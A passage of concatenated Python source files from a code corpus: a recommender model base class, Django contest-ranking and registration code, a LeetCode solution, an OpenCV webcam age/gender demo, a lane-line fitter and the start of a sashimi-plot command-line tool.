_init_slots(self, **kargs):\n if self._slot_inited:\n return\n self._slot_inited = True\n dataset = {}\n model_dict = {}\n for i in self._env[\"phase\"]:\n if i[\"name\"] == kargs[\"name\"]:\n model_dict = i\n break\n for i in self._env[\"dataset\"]:\n if i[\"name\"] == model_dict[\"dataset_name\"]:\n dataset = i\n break\n name = \"dataset.\" + dataset[\"name\"] + \".\"\n sparse_slots = envs.get_global_env(name + \"sparse_slots\", \"\").strip()\n dense_slots = envs.get_global_env(name + \"dense_slots\", \"\").strip()\n if sparse_slots != \"\" or dense_slots != \"\":\n if sparse_slots == \"\":\n sparse_slots = []\n else:\n sparse_slots = sparse_slots.strip().split(\" \")\n if dense_slots == \"\":\n dense_slots = []\n else:\n dense_slots = dense_slots.strip().split(\" \")\n dense_slots_shape = [[\n int(j) for j in i.split(\":\")[1].strip(\"[]\").split(\",\")\n ] for i in dense_slots]\n dense_slots = [i.split(\":\")[0] for i in dense_slots]\n self._dense_data_var = []\n for i in range(len(dense_slots)):\n l = fluid.layers.data(\n name=dense_slots[i],\n shape=dense_slots_shape[i],\n dtype=\"float32\")\n self._data_var.append(l)\n self._dense_data_var.append(l)\n self._sparse_data_var = []\n for name in sparse_slots:\n l = fluid.layers.data(\n name=name, shape=[1], lod_level=1, dtype=\"int64\")\n self._data_var.append(l)\n self._sparse_data_var.append(l)\n\n dataset_class = envs.get_global_env(name + \"type\")\n if dataset_class == \"DataLoader\":\n self._init_dataloader()\n\n def _init_dataloader(self, is_infer=False):\n if is_infer:\n data = self._infer_data_var\n else:\n data = self._data_var\n self._data_loader = fluid.io.DataLoader.from_generator(\n feed_list=data,\n capacity=64,\n use_double_buffer=False,\n iterable=False)\n\n def get_inputs(self):\n return self._data_var\n\n def get_infer_inputs(self):\n return self._infer_data_var\n\n def get_infer_results(self):\n return self._infer_results\n\n def get_avg_cost(self):\n \"\"\"R\n \"\"\"\n return self._cost\n\n def get_metrics(self):\n \"\"\"R\n \"\"\"\n return self._metrics\n\n def get_fetch_period(self):\n return self._fetch_interval\n\n def _build_optimizer(self, name, lr, strategy=None):\n name = name.upper()\n optimizers = [\"SGD\", \"ADAM\", \"ADAGRAD\"]\n if name not in optimizers:\n raise ValueError(\n \"configured optimizer can only supported SGD/Adam/Adagrad\")\n\n if name == \"SGD\":\n os.environ[\"FLAGS_communicator_is_sgd_optimizer\"] = '1'\n else:\n os.environ[\"FLAGS_communicator_is_sgd_optimizer\"] = '0'\n\n if name == \"SGD\":\n optimizer_i = fluid.optimizer.SGD(lr)\n elif name == \"ADAM\":\n optimizer_i = fluid.optimizer.Adam(lr, lazy_mode=True)\n elif name == \"ADAGRAD\":\n optimizer_i = fluid.optimizer.Adagrad(lr)\n else:\n raise ValueError(\n \"configured optimizer can only supported SGD/Adam/Adagrad\")\n\n return optimizer_i\n\n def optimizer(self):\n opt_name = envs.get_global_env(\"hyper_parameters.optimizer.class\")\n opt_lr = envs.get_global_env(\n \"hyper_parameters.optimizer.learning_rate\")\n opt_strategy = envs.get_global_env(\n \"hyper_parameters.optimizer.strategy\")\n\n return self._build_optimizer(opt_name, opt_lr, opt_strategy)\n\n def input_data(self, is_infer=False, **kwargs):\n name = \"dataset.\" + kwargs.get(\"dataset_name\") + \".\"\n sparse_slots = envs.get_global_env(name + \"sparse_slots\", \"\").strip()\n dense_slots = envs.get_global_env(name + \"dense_slots\", \"\").strip()\n self._sparse_data_var_map = {}\n self._dense_data_var_map = {}\n if sparse_slots != \"\" or dense_slots != \"\":\n if sparse_slots == \"\":\n sparse_slots = []\n else:\n sparse_slots = sparse_slots.strip().split(\" \")\n if dense_slots == \"\":\n dense_slots = []\n else:\n dense_slots = dense_slots.strip().split(\" \")\n dense_slots_shape = [[\n int(j) for j in i.split(\":\")[1].strip(\"[]\").split(\",\")\n ] for i in dense_slots]\n dense_slots = [i.split(\":\")[0] for i in dense_slots]\n self._dense_data_var = []\n data_var_ = []\n for i in range(len(dense_slots)):\n l = fluid.layers.data(\n name=dense_slots[i],\n shape=dense_slots_shape[i],\n dtype=\"float32\")\n data_var_.append(l)\n self._dense_data_var.append(l)\n self._dense_data_var_map[dense_slots[i]] = l\n self._sparse_data_var = []\n for name in sparse_slots:\n l = fluid.layers.data(\n name=name, shape=[1], lod_level=1, dtype=\"int64\")\n data_var_.append(l)\n self._sparse_data_var.append(l)\n self._sparse_data_var_map[name] = l\n return data_var_\n\n else:\n return None\n\n def net(self, is_infer=False):\n return None\n\n def train_net(self):\n pass\n\n def infer_net(self):\n pass\n","sub_path":"core/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"641577291","text":"import json\nfrom threading import Thread\n\nfrom django.core.cache import cache\nfrom django.db import transaction\n\nfrom problem.statistics import invalidate_problem\nfrom submission.models import SubmissionStatus\nfrom .models import Contest\n\nCONTEST_FIRST_YES = \"contest_first_yes_{}\"\n\ndef RANK_AS_DICT(x):\n return {\n \"actual_rank\": x.actual_rank,\n \"rank\": x.rank,\n \"user\": x.user_id,\n \"penalty\": x.penalty,\n \"score\": x.score,\n \"detail\": x.detail\n }\n\n\ndef get_penalty(start_time, submit_time):\n \"\"\"\n :param start_time: time in DateTimeField\n :param submit_time: time in DateTimeField\n :return: penalty in seconds\n \"\"\"\n return max(int((submit_time - start_time).total_seconds()), 0)\n\n\ndef recalculate_for_participants(contest: Contest, user_ids: list):\n \"\"\"\n :param contest\n :param user_ids\n :param privilege: privilege will cause the calculation works for all submissions even after board frozen\n :return {\n <user_id>: {\n penalty: int (seconds),\n score: int,\n detail: {\n <problem_id>: {\n solved: boolean\n attempt: int (submission count including the first accepted one),\n score: int (individual score for each problem),\n time: int (first accept solution time, in seconds),\n first_blood: boolean\n partial: boolean\n upsolve: int (positive for accepted, negative for unaccepted, score if partial)\n }\n }\n }\n }\n\n Penalty is the same for all rules: Every failed submission till the accepted one\n will add 1200 to it. And the accepted one will add the time (seconds) to it\n\n Score methods depend on the contest rule:\n 1. ACM rule: individual score is all one, total score is solved problem number.\n 2. OI rule: individual score is problem weight times the weight of cases passed (round to integer).\n 3. CF rule: individual score is problem weight, but will only be available if the solution is by all means correct.\n\n How much percent one can get is a bit complicated:\n 1) The total percent will decrease from contest beginning to contest end from 100% to 50%.\n 2) Every failed submission will induce a 50-point loss to the score\n 3) The final score, once accepted will not be lower than 30% of the total score.\n \"\"\"\n\n ans = {author_id: dict(detail=dict()) for author_id in user_ids}\n contest_length = get_penalty(contest.start_time, contest.end_time)\n first_yes = get_first_yes(contest, no_invalidate=True)\n\n submission_filter = contest.submission_set.filter(author_id__in=user_ids)\n for submission in submission_filter.defer(\"code\", \"status_message\", \"status_detail\").order_by(\"create_time\"):\n status = submission.status\n detail = ans[submission.author_id]['detail']\n detail.setdefault(submission.problem_id,\n {'solved': False, 'attempt': 0, 'score': 0, 'first_blood': False, 'time': 0,\n 'waiting': False, 'pass_time': '', 'partial': False, 'upsolve': 0})\n d = detail[submission.problem_id]\n if not SubmissionStatus.is_judged(submission.status):\n d['waiting'] = True\n continue\n if SubmissionStatus.is_scored(submission.status):\n d['partial'] = True\n\n if not SubmissionStatus.is_penalty(status):\n continue # This is probably CE or SE ...\n contest_problem = contest.get_contest_problem(submission.problem_id)\n if not contest_problem: # This problem has been probably deleted\n continue\n\n pass_time = str(submission.create_time.strftime('%Y-%m-%d %H:%M:%S'))\n time = get_penalty(contest.start_time, submission.create_time)\n score = 0\n EPS = 1E-2\n if contest.scoring_method == 'oi' or contest.scoring_method == \"subtask\":\n submission.contest_problem = contest_problem\n score = submission.status_score\n elif contest.scoring_method == 'acm' and SubmissionStatus.is_accepted(status):\n score = 1\n elif contest.scoring_method == 'cf' and SubmissionStatus.is_accepted(status):\n score = int(max(contest_problem.weight * 0.3,\n contest_problem.weight * (1 - 0.5 * time / contest_length) - d['attempt'] * 50) + EPS)\n elif contest.scoring_method == 'tcmtime' and SubmissionStatus.is_accepted(status):\n score = contest_problem.weight\n\n # upsolve submission\n if d['partial']:\n d['upsolve'] = max(d['upsolve'], score)\n elif d['upsolve'] <= 0:\n d['upsolve'] -= 1\n if SubmissionStatus.is_accepted(status):\n d['upsolve'] = abs(d['upsolve'])\n\n if not contest.always_running and submission.create_time > contest.end_time:\n d['upsolve_enable'] = True\n continue\n\n if contest.last_counts or not \\\n (d['solved'] or (contest.scoring_method != 'oi' and d['score'] > 0 and d['score'] >= score)):\n # every submission has to be calculated in OI\n # We have to tell whether this is the best\n\n if not contest.last_counts:\n d['score'] = max(d['score'], score)\n else:\n d['score'] = score\n d['attempt'] += 1\n d.update(solved=SubmissionStatus.is_accepted(status), time=time, pass_time=pass_time)\n if first_yes.get(submission.problem_id) and first_yes[submission.problem_id]['author'] == submission.author_id:\n d['first_blood'] = True\n\n for v in ans.values():\n for p in v['detail']:\n d = v['detail'][p]\n if 'upsolve_enable' not in d:\n d['upsolve'] = 0\n else:\n d.pop('upsolve_enable', None)\n if contest.always_running:\n penalty = 0\n elif contest.scoring_method == 'oi':\n penalty = sum(map(lambda x: max(x['attempt'], 0) * contest.penalty_counts + x['time'],\n v['detail'].values()))\n else:\n penalty = sum(map(lambda x: max(x['attempt'] - 1, 0) * contest.penalty_counts + x['time'],\n filter(lambda x: x['solved'], v['detail'].values())))\n v.update(penalty=max(min(penalty, int(1E9)), 0), score=sum(map(lambda x: x['score'], v['detail'].values())))\n return ans\n\n\ndef participants_with_rank(contest: Contest):\n \"\"\"\n :param contest:\n :param privilege:\n :return: contest participants objects with 2 additional fields:\n - actual_rank\n - rank\n\n actual_rank is the rank considering starred participants\n \"\"\"\n def find_key(t):\n if not contest.always_running and contest.penalty_counts:\n return t.score, -t.penalty\n else:\n return t.score\n\n items = contest.contestparticipant_set.all()\n last_item = None\n last_actual_item, last_actual_rank = None, 0\n\n actual_rank_counter = 1\n for idx, item in enumerate(items, start=1):\n if last_item and find_key(item) == find_key(last_item):\n claim_rank = last_item.rank\n else: claim_rank = idx\n\n if item.star:\n # starred\n actual_rank = 0\n else:\n if last_actual_item and find_key(item) == find_key(last_actual_item):\n actual_rank = last_actual_rank\n else: actual_rank = actual_rank_counter\n last_actual_rank, last_actual_item = actual_rank, item\n actual_rank_counter += 1\n\n item.rank = claim_rank\n item.actual_rank = actual_rank\n last_item = item\n return items\n\n\ndef get_contest_rank(contest: Contest):\n \"\"\"\n :param contest\n :return [\n {\n actual_rank: int\n rank: int\n user: user_id\n penalty: ...\n score: ...\n detail: ...\n },\n ...,\n ]\n Refer to `recalculate_for_participants`.\n Rank is in order.\n \"\"\"\n return list(map(RANK_AS_DICT, participants_with_rank(contest)))\n\n\ndef get_participant_rank(contest: Contest, user_id):\n \"\"\"\n Get rank in public standings\n \"\"\"\n for participant in participants_with_rank(contest):\n if participant.user_id == user_id:\n return participant.actual_rank\n return 0\n\n\ndef get_participant_score(contest: Contest, user_id):\n \"\"\"\n Return full record of score\n\n :param contest:\n :param user_id:\n :return:\n {\n actual_rank: int\n rank: int\n user: user_id\n penalty: ...\n score: ...\n detail: ...\n }\n \"\"\"\n for participant in participants_with_rank(contest):\n if participant.user_id == user_id:\n return RANK_AS_DICT(participant)\n return {}\n\n\ndef get_first_yes(contest: Contest, no_invalidate=False):\n \"\"\"\n :param contest:\n :param no_invalidate: set this to bool to disable invalidate action (prevent endless recursion)\n :return: {\n <problem_id>: {\n time: <int>\n author: <int>\n }\n }\n \"\"\"\n cache_name = CONTEST_FIRST_YES.format(contest.pk)\n t = cache.get(cache_name)\n if t is None:\n t = dict()\n for contest_problem in contest.contest_problem_list:\n first_accepted_sub = contest.submission_set.filter(problem_id=contest_problem.problem_id,\n status__in=[SubmissionStatus.ACCEPTED,\n SubmissionStatus.PRETEST_PASSED],\n create_time__lte=contest.end_time).\\\n defer(\"code\", \"status_message\", \"status_detail\").last()\n if not contest.always_running and first_accepted_sub:\n first_accepted = dict(time=get_penalty(contest.start_time, first_accepted_sub.create_time),\n author=first_accepted_sub.author_id)\n if not no_invalidate:\n invalidate_contest_participant(contest, first_accepted_sub.author_id)\n else:\n first_accepted = None\n t[contest_problem.problem_id] = first_accepted\n cache.set(cache_name, t, 60) # 60 seconds\n return t\n\n\ndef invalidate_contest_participant(contest: Contest, users=None, sync=False):\n if contest.is_frozen:\n return\n\n def invalidate_process():\n with transaction.atomic():\n if users is None:\n user_ids = contest.participants_ids\n elif isinstance(users, int):\n user_ids = [users]\n elif isinstance(users, list):\n user_ids = users\n else:\n raise ValueError\n intermediate = recalculate_for_participants(contest, user_ids)\n for user_id, res in intermediate.items():\n user = contest.contestparticipant_set.get(user_id=user_id)\n user.detail = res[\"detail\"]\n user.score = res[\"score\"]\n user.penalty = res[\"penalty\"]\n user.save(update_fields=[\"detail_raw\", \"score\", \"penalty\"])\n\n if sync:\n invalidate_process()\n else:\n Thread(target=invalidate_process).start()\n\n\ndef invalidate_contest(contest: Contest, sync=False):\n invalidate_contest_participant(contest, sync=sync)\n invalidate_problem(list(map(lambda p: p.problem_id, contest.contest_problem_list)), contest.id)\n cache.delete(CONTEST_FIRST_YES.format(contest.pk))\n","sub_path":"contest/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":11699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"411211965","text":"\"\"\"\nMaximize Distance to Closest Person\nYou are given an array representing a row of seats where seats[i] = 1 represents a person sitting in the ith seat, and seats[i] = 0 represents that the ith seat is empty (0-indexed).\n\nThere is at least one empty seat, and at least one person sitting.\n\nAlex wants to sit in the seat such that the distance between him and the closest person to him is maximized.\n\nReturn that maximum distance to the closest person.\n\n\n\nExample 1:\n\n\nInput: seats = [1,0,0,0,1,0,1]\nOutput: 2\nExplanation:\nIf Alex sits in the second open seat (i.e. seats[2]), then the closest person has distance 2.\nIf Alex sits in any other open seat, the closest person has distance 1.\nThus, the maximum distance to the closest person is 2.\nExample 2:\n\nInput: seats = [1,0,0,0]\nOutput: 3\nExplanation:\nIf Alex sits in the last seat (i.e. seats[3]), the closest person is 3 seats away.\nThis is the maximum distance possible, so the answer is 3.\nExample 3:\n\nInput: seats = [0,1]\nOutput: 1\n\n\nConstraints:\n\n2 <= seats.length <= 2 * 104\nseats[i] is 0 or 1.\nAt least one seat is empty.\nAt least one seat is occupied.\n\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def maxDistToClosest(self, seats: List[int]) -> int:\n # Solution 1 - 124 ms\n \"\"\"\n ans = 0\n p1, p2 = -1, 0\n while p2 < len(seats):\n if seats[p2]:\n ans = max(ans, (p2 - p1) // 2) if p1 != -1 else p2\n p1 = p2\n p2 += 1\n if not seats[p2 - 1]:\n ans = max(ans, p2 - p1 - 1)\n return ans\n \"\"\"\n # Solution 2 - 108 ms\n prev = None\n diff = 0\n result = -1\n\n n = len(seats)\n for i in range(n):\n if seats[i]:\n if prev is None:\n prev = i\n left = i\n elif i - prev > diff:\n diff = i - prev\n result = diff // 2\n prev = i\n\n right = n - prev - 1\n\n return max(left, right, result)\n\n\n# Main Call\nseats = [1, 0, 0, 0]\nsolution = Solution()\nprint(solution.maxDistToClosest(seats))\n","sub_path":"src/arrays/maxDistToClosest.py","file_name":"maxDistToClosest.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"244498255","text":"#-*- coding: utf-8 -*-\n\nimport cv2\nimport numpy as np\nimport recognize_age\nimport recognize_gender\n\nfaceCascade = cv2.CascadeClassifier(\"face_profile/haarcascade_frontalface_alt_tree.xml\")\n\nvideo_capture = cv2.VideoCapture(0)\n\nThreadshold = 45\ntts_AreaThreadhold=10000\ntts_AreaThreadhold_NeedCal = 7000\n\n\ndef get_margin(x,y,w,h):\n h_margin = h // 8\n w_margin = w // 8\n if y + h >= height:\n h_margin = height - y - 1\n if x + w >= width:\n w_margin = width - x - 1\n if y - h_margin < 0:\n h_margin = y - 1\n if x - w_margin < 0:\n w_margin = x - 1\n return h_margin, w_margin\n\nage_rec = recognize_age.runner()\nged_rec = recognize_gender.runner()\n\n\ncnt = Threadshold - 60\n\ncv2.namedWindow('ORIGINAL',cv2.WINDOW_NORMAL)\ncv2.namedWindow('VIDEO',cv2.WINDOW_NORMAL)\n\ncv2.resizeWindow('ORIGINAL',900,675)\ncv2.resizeWindow('VIDEO',900,675)\n\ncv2.moveWindow('ORIGINAL',100,100)\ncv2.moveWindow('VIDEO',1000,100)\n\nwhile True:\n # Capture frame-by-frame\n ret, frame = video_capture.read()\n cnt += 1\n original_image = np.array(frame)\n\n\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE\n )\n\n # Draw a rectangle around the faces\n crop_image = []\n height , width = original_image.shape[:2]\n\n maxRegion = -9999\n maxAge=0\n maxGender=''\n maxGender_en=''\n (lx,ly,lw,lh) = (0,0,0,0)\n\n\n for (x, y, w, h) in faces:\n\n if(w*h > tts_AreaThreadhold_NeedCal):\n h_margin, w_margin = get_margin(x, y, w, h)\n crop = original_image[y-h_margin:y + h+h_margin,x-w_margin:x + w+w_margin]\n p = age_rec.recognize_age(crop)\n pg,pp = ged_rec.recognize_age(crop)\n\n if(w*h > tts_AreaThreadhold):\n cv2.rectangle(frame, (x-w_margin, y-h_margin), (x+w+w_margin, y+h+h_margin), (0, 255, 0), 2)\n else:\n cv2.rectangle(frame, (x - w_margin, y - h_margin), (x + w + w_margin, y + h + h_margin), (0, 0, 255), 2)\n\n\n\n cv2.putText(frame, \"%.2f\" % p, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,0))\n cv2.putText(frame, \"%.2f\" % p, (x - 1, y - 4), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255))\n\n age_integer = int(p)\n\n if pg == 1:\n ged = '남성'\n ged_en = 'male'\n else:\n ged = '여성'\n ged_en = 'female'\n\n ged_en += \" (%.2f %%)\"%(pp*100.)\n\n cv2.putText(frame, \"%s\" % ged_en, (x, y - 19), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0))\n cv2.putText(frame, \"%s\" % ged_en, (x - 1, y - 18), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255))\n\n area = w * h\n if (maxRegion < area):\n maxRegion = area\n maxAge = age_integer\n maxGender = ged\n maxGender_en=ged_en\n (lx,ly,lw,lh)=(x,y,w,h)\n else:\n h_margin, w_margin = get_margin(x, y, w, h)\n cv2.rectangle(frame, (x - w_margin, y - h_margin), (x + w + w_margin, y + h + h_margin), (0, 0, 255), 2)\n\n\n if(maxRegion > tts_AreaThreadhold):\n if(cnt > Threadshold):\n h_margin, w_margin = get_margin(lx, ly, lw, lh)\n\n cv2.rectangle(original_image, (lx - w_margin, ly - h_margin), (lx + lw + w_margin, ly + lh + h_margin), (255, 0, 0), 3)\n\n\n cv2.putText(original_image, \"%.2f\" % maxAge, (lx, ly - 5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0))\n cv2.putText(original_image, \"%.2f\" % maxAge, (lx - 1, ly - 4), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255))\n\n cv2.putText(original_image, \"%s\" % maxGender_en, (lx, ly - 19), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0))\n cv2.putText(original_image, \"%s\" % maxGender_en, (lx - 1, ly - 18), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255))\n\n cv2.imshow('ORIGINAL',original_image)\n\n cv2.imshow('VIDEO', frame)\n #cv2.imwrite('output/' + str(cnt) + '.jpg', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# When everything is done, release the capture\nvideo_capture.release()\ncv2.destroyAllWindows()\n","sub_path":"AIM_API/backup/cam_ex_origin.py","file_name":"cam_ex_origin.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"598893320","text":"def main():\r\n # knock64の結果を開く\r\n with open('knock64.txt', 'r') as f:\r\n analogies = f.readlines()\r\n\r\n count = 0\r\n correct = 0\r\n\r\n # 意味的アナロジーと文法的アナロジーそれぞれで,正解していたら「correct」を+1する.\r\n for analogy in analogies:\r\n words = analogy.split()\r\n\r\n if len(words) == 6:\r\n count += 1\r\n if (words[3] == words[4]):\r\n correct += 1\r\n\r\n # 正解数/全体の数で正解率を計算\r\n rate = correct / count\r\n\r\n # 結果をファイルに保存\r\n with open('knock65.txt', mode='w', encoding=\"utf-8\") as f:\r\n print(rate, file=f)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"yamaguchi/chapter07/knock65.py","file_name":"knock65.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139451879","text":"import numpy as np\nfrom collections import deque\n\nfrom .ConvolutionalSlider import ConvolutionalSlider\nfrom .LineFitter import LineFitter\nfrom .Line import Line\n\n\nclass LastNLines:\n def __init__(self, lines_count, max_std):\n self.n = lines_count\n self.MAX_STD = max_std\n self.right_lines = deque([])\n self.left_lines = deque([])\n self.slider = ConvolutionalSlider(50, 80, max_std*4)\n self.fitter = None\n self.MIN_LINES_DISTANCE = 0\n self.is_error_line = False\n self.errors_in_a_raw = 0\n self.CRITICAL_ERRORS_COUNT = 20\n self.roots_limit = None\n\n def init(self, width, height):\n self.fitter = LineFitter(height, 30 / 720, 3.7 / 900)\n self.MIN_LINES_DISTANCE = int(width / 1.7) # diff between lines can't be less\n self.roots_limit = [-height, height]\n\n def passed_sanity_check(self, left, right):\n diff = np.median(right[0])-np.median(left[0])\n if not((diff > self.MIN_LINES_DISTANCE) and (diff < self.MIN_LINES_DISTANCE + 250)):\n return False\n # check if line intersect\n left_fit = self.fitter.fit_line(left[0], left[1])\n right_fit = self.fitter.fit_line(right[0], right[1])\n coeff = right_fit - left_fit\n roots = np.roots(coeff)\n if ((roots[0] > self.roots_limit[0]) and (roots[0] < self.roots_limit[1])) or ((roots[1] > self.roots_limit[0]) and (roots[1] < self.roots_limit[1])):\n return False\n return True\n\n def get_best_line_fit(self, x, y, old_lines):\n percentage_coef = 0.9/self.n\n current_coef = percentage_coef\n\n all_x = x[:]\n all_y = y[:]\n for line in old_lines:\n data_to_take = int(current_coef*len(line.best_x))\n choice = np.random.choice(len(line.best_x), data_to_take)\n\n all_x = np.append(all_x, line.best_x[choice])\n all_y = np.append(all_y, line.best_y[choice])\n\n current_coef += percentage_coef\n\n assert current_coef < 1\n return self.fitter.get_line_data(all_x, all_y)\n\n def create_line(self, line_data, old_lines):\n line_fit = self.fitter.fit_line(line_data[0], line_data[1])\n x_original, y_original = ConvolutionalSlider.get_filtered_line(\n line_fit, line_data[0], np.array(line_data[1]), self.MAX_STD)\n\n line_fit, plot_x, plot_y = self.fitter.get_line_data(x_original, y_original)\n best_fit, best_x, best_y = self.get_best_line_fit(plot_x, plot_y, old_lines)\n line = Line(\n line_fit, plot_x, plot_y, best_fit, best_x, best_y,\n self.is_error_line, self.errors_in_a_raw > self.CRITICAL_ERRORS_COUNT)\n line.radius_of_curvature = self.fitter.calculate_curvature(best_x, best_y)\n return line\n\n def add_new_line(self, image):\n self.is_error_line = 0\n if len(self.left_lines) > 0:\n prev_left_line, prev_right_line = self.get_best_fit_lines()\n left_line_data, right_line_data = self.slider.get_next_lines(\n image, prev_left_line.best_fit, prev_right_line.best_fit)\n if not(self.passed_sanity_check(left_line_data, right_line_data)):\n left_line_data, right_line_data = self.slider.get_initial_lines(image)\n if not(self.passed_sanity_check(left_line_data, right_line_data)):\n left_line_data = (prev_left_line.best_x, prev_left_line.best_y)\n right_line_data = (prev_right_line.best_x, prev_right_line.best_y)\n self.errors_in_a_raw += 1\n else:\n self.errors_in_a_raw = 0\n else:\n left_line_data, right_line_data = self.slider.get_initial_lines(image)\n\n left_line = self.create_line(left_line_data, self.left_lines)\n right_line = self.create_line(right_line_data, self.right_lines)\n\n self.left_lines.append(left_line)\n if len(self.left_lines) >= self.n:\n self.left_lines.popleft()\n self.right_lines.append(right_line)\n if len(self.right_lines) >= self.n:\n self.right_lines.popleft()\n\n def get_best_fit_lines(self):\n return self.left_lines[-1], self.right_lines[-1]\n '''\n If your sanity checks reveal that the lane lines you've detected are problematic for some reason, you can simply assume it was a bad or difficult frame of video, retain the previous positions from the frame prior and step to the next frame to search again. If you lose the lines for several frames in a row, you should probably go back to the blind search method using a histogram and sliding window, or other method, to re-establish your measurement.\n '''\n\n '''\n Even when everything is working, your line detections will jump around from frame to frame a bit and it can be preferable to smooth over the last n frames \n of video to obtain a cleaner result. Each time you get a new high-confidence measurement, you can append it to the list of recent measurements and then take\n an average over n past measurements to obtain the lane position you want to draw onto the image.\n '''\n pass\n\n","sub_path":"src/LastNLines.py","file_name":"LastNLines.py","file_ext":"py","file_size_in_byte":5179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"552275689","text":"from django.shortcuts import render, redirect\nfrom .forms import UserCreationForm, AccountForm\n\n\ndef register(request):\n\n # A boolean value for telling the template whether the registration was successful.\n # Set to False initially. Code changes value to True when registration succeeds.\n registered = False\n\n # If it's a HTTP POST, we're interested in processing form data.\n if request.method == 'POST':\n # Attempt to grab information from the raw form information.\n # Note that we make use of both UserForm and UserProfileForm.\n user_form = UserCreationForm(data=request.POST)\n account_form = AccountForm(data=request.POST)\n # the url if the registration is completed\n next = request.POST.get('next', 'home')\n\n # If the two forms are valid...\n if user_form.is_valid() and account_form.is_valid():\n # Save the user's form data to the database.\n user = user_form.save()\n\n # Now we hash the password with the set_password method.\n # Once hashed, we can update the user object.\n user.save()\n\n # Now sort out the UserProfile instance.\n # Since we need to set the user attribute ourselves, we set commit=False.\n # This delays saving the model until we're ready to avoid integrity problems.\n account = account_form.save(commit=False)\n account.user = user\n\n # Now we save the UserProfile model instance.\n account.save()\n\n # Update our variable to tell the template registration was successful.\n registered = True\n\n # Redirect to homepage\n return redirect(next)\n\n # Invalid form or forms - mistakes or something else?\n # Print problems to the terminal.\n # They'll also be shown to the user.\n else:\n # print(user_form.errors, account_form.errors)\n pass\n\n # Not a HTTP POST, so we render our form using two ModelForm instances.\n # These forms will be blank, ready for user input.\n else:\n user_form = UserCreationForm()\n account_form = AccountForm()\n next = request.GET.get('next', 'home')\n\n # Render the template depending on the context.\n return render(request, 'accounts/register.html', {\n 'user_form': user_form,\n 'account_form': account_form,\n 'registered': registered,\n 'next': next,\n })\n","sub_path":"biocloud/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"628384700","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\nu\"\"\"\nCreated by ygidtu@gmail.com at 2018.12.16\n\nMain function to plot sashimi plot\n\"\"\"\nimport click\n\nfrom multiprocessing import cpu_count\n\nfrom conf.plot_settings import parse_settings\nfrom utils.reading_input import index_gtf\nfrom utils.reading_input import read_reads_depth_from_bam\nfrom utils.reading_input import read_reads_depth_from_count_table\nfrom utils.reading_input import read_transcripts\nfrom utils.sashimi_plot_utils import draw_sashimi_plot\nfrom utils.utils import *\n\n\n__dir__ = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n\n@click.command()\n@click.option(\n \"-e\",\n \"--event\",\n type=click.STRING,\n required=True,\n help=\"Event range eg: chr1:100-200:+\"\n)\n@click.option(\n \"-b\",\n \"--bam\",\n type=click.Path(exists=True),\n help=\"\"\"\n Path to input BAM file. \\b\n\n Or a tab separated text file, \\b \n - first column is path to BAM file, \\b\n - second column is BAM file alias(optional)\n \"\"\"\n)\n@click.option(\n \"-g\",\n \"--gtf\",\n type=click.Path(exists=True),\n help=\"Path to gtf file, both transcript and exon tags are necessary\"\n)\n@click.option(\n \"-o\",\n \"--output\",\n type=click.Path(),\n help=\"Path to output graph file\",\n show_default=True\n)\n@click.option(\n \"--config\",\n default=os.path.join(__dir__, \"settings.ini\"),\n type=click.Path(),\n help=\"Path to config file, contains graph settings of sashimi plot\",\n show_default=True\n)\n@click.option(\n \"-t\",\n \"--threshold\",\n default=0,\n type=click.IntRange(min=0, clamp=True),\n help=\"Threshold to filter low abundance junctions\",\n show_default=True\n)\n@click.option(\n \"-d\",\n \"--dpi\",\n default=300,\n type=click.IntRange(min=1, clamp=True),\n help=\"The resolution of output file\",\n show_default=True\n)\n@click.option(\n \"--indicator-lines\",\n default=None,\n type=click.STRING,\n help=\"Where to plot additional indicator lines, comma separated int\"\n)\n@click.option(\n \"--share-y\",\n default=False,\n is_flag=True,\n type=click.BOOL,\n help=\"Whether different sashimi plots shared same y axis\"\n)\n@click.option(\n \"--no-gene\",\n is_flag=True,\n type=click.BOOL,\n help=\"Do not show gene id next to transcript id\"\n)\n@click.option(\n \"--color-factor\",\n default=1,\n type=click.IntRange(min=1),\n help=\"\"\"Index of column with color levels (1-based); \n NOTE: LUAD|red -> LUAD while be labeled in plots and red while be the fill color\n \"\"\",\n show_default=True\n)\n@click.option(\n '--log',\n type=click.Choice([\"0\", \"2\", \"10\", \"zscore\"]),\n default=\"0\",\n help=\"y axis log transformed, 0 -> not log transform; 2 -> log2; 10 -> log10\"\n)\n@click.option(\n \"--customized-junction\",\n type=click.STRING,\n default=None,\n help=\"\"\"\n Path to junction table column name needs to be bam name or bam alias. 